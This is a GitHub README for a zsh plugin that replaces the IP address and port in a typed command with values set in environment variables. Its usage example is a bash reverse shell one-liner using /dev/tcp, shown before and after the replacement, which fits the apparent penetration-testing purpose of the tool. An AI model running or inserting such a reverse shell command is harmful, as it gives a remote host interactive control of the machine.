Skip to content

replacing ip and port in command buffer before execution

Notifications You must be signed in to change notification settings

Ha-L0/zsh-replace-ip-port

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 

Repository files navigation

Install

  • clone repo inside your oh-my-zsh repo

     git clone https://github.com/Ha-L0/zsh-replace-ip-port ${ZSH_CUSTOM:-${ZSH:-~/.oh-my-zsh}/custom}/plugins/zsh-replace-ip-port
  • add zsh-replace-ip-port to plugins in ~/.zshrc config

     plugins(... zsh-replace-ip-port)
    

Usage

export IP=123.123.123.123 # your ip
export PORT=1111 # your port

write or copy paste command with ip and port

$ bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

before executing press CTRL + o and ip and port gets replaced

$ bash -i >& /dev/tcp/123.123.123.123/1111 0>&1

About

replacing ip and port in command buffer before execution

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages